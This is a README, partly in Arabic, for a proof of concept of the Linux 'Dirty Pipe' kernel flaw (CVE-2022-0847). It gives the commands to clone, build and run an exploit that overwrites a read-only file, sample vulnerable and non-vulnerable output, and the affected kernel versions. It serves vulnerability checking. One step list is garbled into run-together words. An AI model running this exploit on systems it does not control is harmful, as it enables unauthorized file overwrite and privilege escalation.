
إثبات المفهوم CVE-2022-0847
CVE-2022-0847 POC - https://dirtypipe.cm4all.com/
يحاول هذا الاستغلال استخدام ثغرة CVE-2022-0847 للكتابة فوق ملف للقراءة فقط.
عند تشغيل make exploit، سيتم:
read_only_file.txtdirtypipe.dirtypipe.يمكنك تحديد ما إذا كان نظامك معرضًا للثغرة من خلال مخرجات make exploit:
foo@bar:~$ make exploit # vulnerable
[*] Creating read_only_file.txt...
[*] Press any key to continue...
[*] Running exploit...
[*] Exploit was successful!
foo@bar:~$ make exploit # not vulnerable
[*] Creating read_only_file.txt...
[*] Press any key to continue...
[*] Running exploit...
[!] Exploit was not successful!
foo@bar:~$ cd /tmp # We don't need to keep these files.
foo@bar:~$ git clone https://github.com/breachnix/dirty-pipe-poc && cd dirty-pipe-poc
foo@bar:~$ make && make exploit # make & cc will need to be installed.
تؤثر هذه الثغرة على أي إصدار نواة أعلى من 5.8 وأقل من 5.16.11 أو 5.15.25 أو 5.10.102.
يمكنك تحديد إصدار نواتك عن طريق تنفيذ uname -sr:
foo@bar:~$ uname -sr
Linux 5.10.0-12-amd64